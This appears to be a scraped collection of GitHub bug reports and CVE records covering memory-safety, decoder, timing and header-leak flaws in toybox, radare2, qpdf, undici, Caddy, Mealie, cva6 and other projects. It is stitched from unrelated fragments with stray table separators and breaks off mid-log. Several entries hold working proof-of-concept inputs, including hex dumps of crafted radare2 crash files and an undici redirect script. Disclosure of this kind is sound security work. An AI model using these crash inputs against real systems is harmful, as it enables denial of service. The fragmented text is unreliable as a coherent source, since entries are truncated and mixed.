It seems that he did not deal with the situation that the return value of `xabspath` was `NULL`, which led to the subsequent dereferencing of this NULL, and continued to trace the location of the `xwrap.c:599` line. When the judgment here is true, it will be Return NULL. I think this error is a code path that may not be considered. But appearing in the `httpd` remote service may cause a remote denial of service.

] | Hi folks,
A buffer overflow was found while fuzz testing of the q3map2 binary which can be triggered via a malformed MAP file with a large shader image name. Although this malformed file only crashes the program as-is, it could potentially be crafted further and create a security issue where these kinds of files would be able compromise the process's memory through taking advantage of affordances given by memory corruption. It's recommend to harden the code to prevent these kinds of bugs as it could greatly mitigate such this issue and even future bugs.

- [X] This is not a feature request
- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the Mealie documentation, with the integrated search.
- [X] I already read the docs and didn't find an answer.
### What is the issue you are experiencing?
# Time-based user enumeration
The login functionality of Mealie allows an unauthenticated user to enumerate existing accounts by timing the server's response time.
The average time it takes the API server to respond is significantly lower for non-existing users than existing users.
## Impact
The impact on Mealie is low (3,7); there will only be a handful of users on any deployment of Mealie. I am assuming that the probability of finding valid usernames on a randomly exposed instance is low.
The attack complexity is high, and the impact on confidentiality is low.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N - Low 3,7
https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
The vulnerability is related to CWE-203.
## Fixes
### Perform cryptographic operation
Is also possible to separate the logic of checking passwords and usernames inside the core/security/security.py into two different checks.
Then adding the verify_password function with some random invalid data to make sure that both checks will take a similar amount of time to complete
``` python
if not user:
verify_password("abc123cba321", "$2b$12$JdHtJOlkPFwyxdjdygEzPOtYmdQF5/R5tHxw5Tq8pxjubyLqdIX5i")
return False
if not verify_password(password, user.password):
return False
```
### Set minimum response time
A possible fix would be setting a minimal randomized time that is required before the auth function returns a response code. The time should be between the fastest and slowest time it takes to calculate and compare the password hash.

CVE-2022-31153 | 2022-07-15T18:15:08.760 | OpenZeppelin Contracts for Cairo is a library for contract development written in Cairo for StarkNet, a decentralized ZK Rollup. Version 0.2.0 is vulnerable to an error that renders account contracts unusable on live networks. This issue affects all accounts (vanilla and ethereum flavors) in the v0.2.0 release of OpenZeppelin Contracts for Cairo, which are not whitelisted on StarkNet mainnet. Only goerli deployments of v0.2.0 accounts are affected. This faulty behavior is not observed in StarkNet's testing framework. This bug has been patched in v0.2.1. | {

```
Neither the StarkNet test environment nor the devnet raise this error.
The error stems from here:
https://github.com/OpenZeppelin/cairo-contracts/blob/release-0.2.0/src/openzeppelin/account/library.cairo#L203
```
let (local ecdsa_ptr : SignatureBuiltin*) = alloc()
```
The Signature hint points to this reference (which the [SignatureBuiltinRunner](https://github.com/starkware-libs/cairo-lang/blob/master/src/starkware/cairo/lang/builtins/signature/signature_builtin_runner.py#L85-L95) does not like). To resolve this, I suggest adding the `ecdsa_ptr: SignatureBuiltin*` as an implicit arg to `execute`, `eth_execute`, and `_unsafe_execute` in the Account library and EthAccount's `__execute__` as well.
Another solution would be to isolate the functionality of both accounts (thus removing `_unsafe_execute`), so we don't have to pass the implicit `ecdsa_ptr` in the EthAccount methods. | `ecdsa_ptr` points to reference in Account lib's `execute` | https://api.github.com/repos/OpenZeppelin/cairo-contracts/issues/386/comments | 0 | 2022-07-10T00:00:12Z | 2024-03-29T13:26:38Z | https://github.com/OpenZeppelin/cairo-contracts/issues/386 | 1,299,789,749 | 386 | 3,846 |

] | Hi, we are currently doing some co-simulation with cva6 and spike, and we found the decoder has an incorrect behavior when meeting a sfence.vma with non-zero rd field.
According to the ISA Specification (Volume II: RISC-V Privileged Architectures V20211203 Page 152) for the SFENCE.VMA format, instr[11:7] should be 5'b00000.
When modified instr[11:7] to 5'b00001. cva6 treats this instruction as SFENCE.VMA as well. No exception occurred. The implementation is missing a check for this field.
https://github.com/openhwgroup/cva6/blob/44a89b9cd408b869fb4ed2c0cec35e1561588e37/core/decoder.sv#L152-L165
In the following test case, there is an invalid sfence.vma at 0x80000190, whose rd field is 1, cva6 execute it as normal instruction, while spike throws an excaption.
```

According to the Debug Specification Version 1.0.0:
> To resume execution, the debug module sets a flag which causes the hart to execute a `dret`. `dret` is an instruction that only has meaning while in Debug Mode and not executing from the Program Buffer. Its recommended encoding is 0x7b200073.
When modified instr[11:7] to 5'b00001. cva6 treats this invalid `dret` as normal `dret` as well. No exception occurred. The implementation is missing a check for this field.
In the following test case, there is an invalid `dret` at 0x8000019c, whose rd field is 1, cva6 execute it as normal instruction, while spike throws an excaption.

In the following test case, we flipped the MSB of a legal virtual address and load with it at 0x00002980.
cva6 throws an access fault, while spike throws a page fault.
Since page fault has been delegated to s mode, they jump to different trap vectors.

] | Our co-simulation framework found the decoder has an incorrect behavior when execute a `fence.i`/`fence` with non-zero rd field.
As discussed before [719](https://github.com/openhwgroup/cva6/issues/719), `fence`/`fence.i` should ignores immediate, rs1, rd field. We found the patch [724](https://github.com/openhwgroup/cva6/pull/724) does not fix this bug.
The checking after the patch still throws an exception for non-zero rd and rs1:
https://github.com/openhwgroup/cva6/blob/909d85a56cc5ace65765a63d7ed56b7ac2026f99/core/decoder.sv#L238-L239
According to the The RISC-V Instruction Set Manual Volume I: Unprivileged ISA:
> FENCE: The unused fields in the FENCE instructions—rs1 and rd—are reserved for finer-grain fences in future extensions. For forward compatibility, base implementations shall ignore these fields, and standard software shall zero these fields.
> FENCE.I: The unused fields in the FENCE.I instruction, imm[11:0], rs1, and rd, are reserved for finer-grain fences in future extensions. For forward compatibility, base implementations shall ignore these fields, and standard software shall zero these fields.
In the following test case, there is a valid `fence.i` at 0x80000194, whose rd field is 1, and a `fence` with non-zero rd at 0x80000198. cva6 still throws exceptions for them.

https://github.com/riscv-software-src/riscv-isa-sim/blob/0f15aa09005a12521c27005515e088cbd1b81629/riscv/mmu.h#L99-L125
At line 101, load will first check if it is aligned, then at line 122 it will try to access the address in the load_slow_path function.
https://github.com/riscv-software-src/riscv-isa-sim/blob/0f15aa09005a12521c27005515e088cbd1b81629/riscv/mmu.cc#L142-L162
In load_slow_path, it will first check if it is legal address at line 153, and the watch point will be checked at the end of the function.
Briefly, the order of priority is as follows: trap_load_address_misaligned > trap_load_access_fault > trap_breakpoint
However, in the specification, trap_breakpoint has a higher priority than the others:
We also co-simulate with rocket to check this point, rocket threw a breakpoint exception, while spike threw an error misaligned exception.
The test point is at 0x800001c0 where loading a misaligned illegal address 0x100004001:
```

CVE-2022-31151 | 2022-07-21T04:15:12.157 | Authorization headers are cleared on cross-origin redirect. However, cookie headers which are sensitive headers and are official headers found in the spec, remain uncleared. There are active users using cookie headers in undici. This may lead to accidental leakage of cookie to a 3rd-party site or a malicious attacker who can control the redirection target (ie. an open redirector) to leak the cookie to the 3rd party site. This was patched in v5.7.1. By default, this vulnerability is not exploitable. Do not enable redirections, i.e. `maxRedirections: 0` (the default). | {

Security flaw.
## Reproducible By
```js
const http = require('http');
const undici = require('undici');
const server = http.createServer((request, response) => {
if (request.headers.authorization != 'test') {
response.statusCode = 403;
response.end();
return;
}
response.statusCode = 302;
response.setHeader('location', 'https://httpbin.org/anything');
response.end();
});
server.listen(8080, async () => {
const {statusCode, headers, body} = await undici.request('http://localhost:8080', {
maxRedirections: 3,
headers: {
authorization: 'test'
}
});
const chunks = [];
for await (const chunk of body) {
chunks.push(chunk);
}
const parsed = JSON.parse(Buffer.concat(chunks));
console.log(parsed.headers.Authorization);
undici.getGlobalDispatcher().destroy();
server.close();
});
```
## Expected Behavior
The `authorization` header should be deleted when redirecting to third party origin.
## Environment
```

CVE-2022-34037 | 2022-07-22T15:15:08.580 | An out-of-bounds read in the rewrite function at /modules/caddyhttp/rewrite/rewrite.go in Caddy v2.5.1 allows attackers to cause a Denial of Service (DoS) via a crafted URI. Note: This has been disputed as a bug, not a security vulnerability, in the Caddy web server that emerged when an administrator's bad configuration containing a malformed request URI caused the server to return an empty reply instead of a valid HTTP response to the client. | {

In this function, it parse the `rewr.URI` and attemps to find the bounds of each part of the URI that exist.
However, this implementation is too simple to handle unexpected scenarios.
If '#' appears in front of the '?' in `rewr.URI`, it makes that `qsStart` is larger than `qsEnd`,
which leads to a crash like _'panic: runtime error: slice bounds out of range'_ in slice accessing at `query = uri[qsStart:qsEnd]`

radare2 5.7.0 28296 @ linux-x86-64 git.5.7.0
commit: 09569c1d5c324df7f23bdc9ad864ac1c25925745 build: 2022-06-20__11:48:07
Linux x86_64
```
## Description
After 5.7.0 release, a heap buffer overflow can be found in function `consume_encoded_name_new` in `format/wasm/wasm.c` via openning a crafted binary file with r2.
<!-- Explain what's the issue and what would you expect to see -->
## Test
1. Build Radare2 with AddressSanitizer enabled. (Just execute `./sys/sanitize.sh`)
2. Make a PoC file with size of just 38 bytes. Save the content below as `hex.txt`
```
00000000: 0061 736d 7f00 0000 0001 0dff 7436 ff8b .asm........t6..
00000010: 3000 3e01 499f 1000 fc00 7f45 4c46 80ff 0.>.I......ELF..
00000020: fe61 73ff 0240 .as..@
```
`xxd -r hex.txt > PoCfile` to create the poc file
3. `r2 PoCfile`
```log

] | Hi, I have found a heap-buffer-overflow in QPDF 8.4.2 using ASAN, which has not been reported yet. But after https://github.com/qpdf/qpdf/commit/d71f05ca07eb5c7cfa4d6d23e5c1f2a800f52e8e, the heap-buffer-overflow seems to disappear. I don't know exactly how the commit mitigate the problem since it was intended to fix sign and conversion warnings.
To reproduce, compile QPDF with address sanitizer
```sh
export CC=clang
export CXX=clang++
export CFLAGS="-g -fsanitize=address"
export CPPFLAGS="-g -fsanitize=address"
export LDFLAGS="-fsanitize=address"
```
Download the testcase [HeapBOF-processXRefStream.zip](https://github.com/qpdf/qpdf/files/8674322/HeapBOF-processXRefStream.zip)
`qpdf ./HeapBOF-processXRefStream -`
Then after some warnings, ASAN should complain about heap-buffer-overflow.
```

I find https://github.com/qpdf/qpdf/blob/release-qpdf-8.4.2/libqpdf/QPDF.cc#L1111-L1134 responsible for this heap-buffer-overflow.
After reading and debugging this code, I try to explain the reason as below.
`data` points to a piece of previously allocated buf with size of 38, which equals to `actual_size`. `expected_size` = `entry_size` * `num_entries` = 5 * 7 = 35, and the expected_size < actual_size is just warn and will not throw an exception.
In each time of the first loop, `entry += entry_size`, then `p = entry`. The second loop iterates j in range(0,3), the innermost loop and then increase W[j] to p, the final overflow exceeds the size of 38, triggering heap-buffer-overflow. | heap-buffer-overflow in `QPDF::processXRefStream` found by ASAN | https://api.github.com/repos/qpdf/qpdf/issues/701/comments | 6 | 2022-05-12T01:40:43Z | 2022-07-27T17:57:04Z | https://github.com/qpdf/qpdf/issues/701 | 1,233,342,875 | 701 | 3,867 |

radare2 5.7.3 28346 @ linux-x86-64 git.5.6.6-689-gf369ff2de
commit: f369ff2de3c807681ec76df450ee6d4af5e04ce0 build: 2022-06-24__10:39:32
```
## Description
NULL pointer dereference in function `r_bin_file_xtr_load_buffer` in `bin/bfile.c` in Radare2 5.7.2 could crash the application when opening a crafted binary file with r2. Typically, attackers can leverage this vulnerability to perform denial-of-service attack in the context of the current user.
## Test
1. Build Radare2 normally or with `UBSAN` enabled
2. Make a PoC file with size of just 32 bytes. Save the content below as `hex.txt`
```
00000000: 5841 4c5a 0000 0010 009a 454c 4680 009a XALZ......ELF...
00000010: 454c 4280 df96 0003 df7b 0003 ff5b 003e ELB......{...[.>
```
`xxd -r hex.txt > PoCfile` to create the poc file
3. `r2 PoCfile`, the program will crash immediately
When built normally:
```
ERROR: LZ4 decompression failed
zsh: segmentation fault (core dumped) ./install0/bin/r2 PoCfile
```
When `UBSAN` and `ASAN` enabled:
```
ERROR: LZ4 decompression failed
